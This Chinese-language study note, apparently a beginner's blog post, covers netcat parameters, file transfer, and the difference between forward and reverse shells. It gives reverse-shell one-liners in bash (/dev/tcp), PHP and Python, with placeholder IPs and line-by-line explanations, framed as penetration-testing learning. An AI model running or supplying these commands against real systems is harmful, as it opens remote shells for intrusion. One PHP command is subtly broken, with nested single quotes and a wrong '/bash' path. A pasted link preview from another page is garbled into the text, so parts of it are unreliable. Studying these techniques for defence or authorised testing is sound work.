netcat (NC,瑞士军刀)
一、基本参数描述:
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能域名服务器
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
二、用法和注意事项:
1、nc监听的端口必须未被其他程序占用
2、实现连接通讯
服务端 nc -lnvp [端口]
客户端 nc ip [端口]
3、文件传入 2进制传输+服务端文件写入
服务端 nc -lvp [端口] >[写入文件] |
客户端 nc [ip][端口] <[发送的文件]
4、直接使用 socket连接通信
三、shell(正向shell和反向shell)
正向shell:攻击机连接靶机,攻击机作为客户端,靶机作为服务器,攻击机主动
连接靶机。
缺点:靶机如果有waf或者做了策略基本连不上。
反向shell:靶机连接攻击机,靶机作为客户端主动连接上作为服务端的攻击机。
优点:便于实战使用,不会因为靶机有防火墙而无法连接。
反向shell的渗透思路:命令执行漏洞 ,木马的方式 等。
四、反向shell深入学习
首先需要弄明白linux底层的io设置,文件描述符,后面代码中会用到这些参数
io设置 0:标准输入,1:标准输出,2:标准错误输出
想更深入了解linux io可以查看:&1的含义解释 (全网最全,看完就懂)_业精于勤,荒于嬉;行成于思,毁于随-CSDN博客_2>$1">Linux shell中2>&1的含义解释 (全网最全,看完就懂)_业精于勤,荒于嬉;行成于思,毁于随-CSDN博客_2>$1A.首先了解下1和2在Linux中代表什么 名称 代码 操作符 Java中表示 Linux 下文件描述符(Debian 为例) 标准输入(stdin) 0 &lt; 或 &lt;&lt; System.in /dev/stdin -&gt; /proc/self/fd/0 -&gt; /dev/pts/0 标准输出(stdouthttps://blog.csdn.net/zhaominpro/article/details/82630528 想了解linux文件描述符可以查看:
文件描述符终极使用_合天网安学院-CSDN博客0x01 文件描述符介绍Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,...https://blog.csdn.net/qq_38154820/article/details/106330226
linux没有安装编程语言的情况下直接用bash连接
bash -i>& /dev/tcp/目标IP/目标端口 0>&1
注:-i 是指可以交互
0>&1 意思是将标准输出的内容引用赋值给标准输入 ,也可以理解成攻击机输出的内容 变成靶机的输入。
linux安装php的环境可以用php连接
直接使用shell:
php -r 'exec('/bash -i >& /dev/tcp/目标IP/目标端口 0>&1');'
注:-i :是指可以交互
0>&1 意思是将标准输出的内容引用赋值给标准输入 ,也可以理解成攻击机输出的内容 变成靶机的输入。
使用socket :
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'
注:
-r :运行PHP代码,而无需使用脚本标记
<&3 >&3 2>&3 意思 输入输出到文件描述符3上,然后把文件描述符3上的内容
输出到2上(标准错误),防止意外所以不直接写到1上
linux安装python的环境可以用python连接
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
注:-c是创建单号命令,
首先导入socket,subprocess,os这3个包,
连接socket,
os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(), 2);将socket上的数据复制到linux中io的012
其中s.fileno() 返回socket的文件描述符,
最后然后再创建子进程运行shell
以上均为本人初学的学习理解如有错误敬请谅解并希望指出,本人拜谢



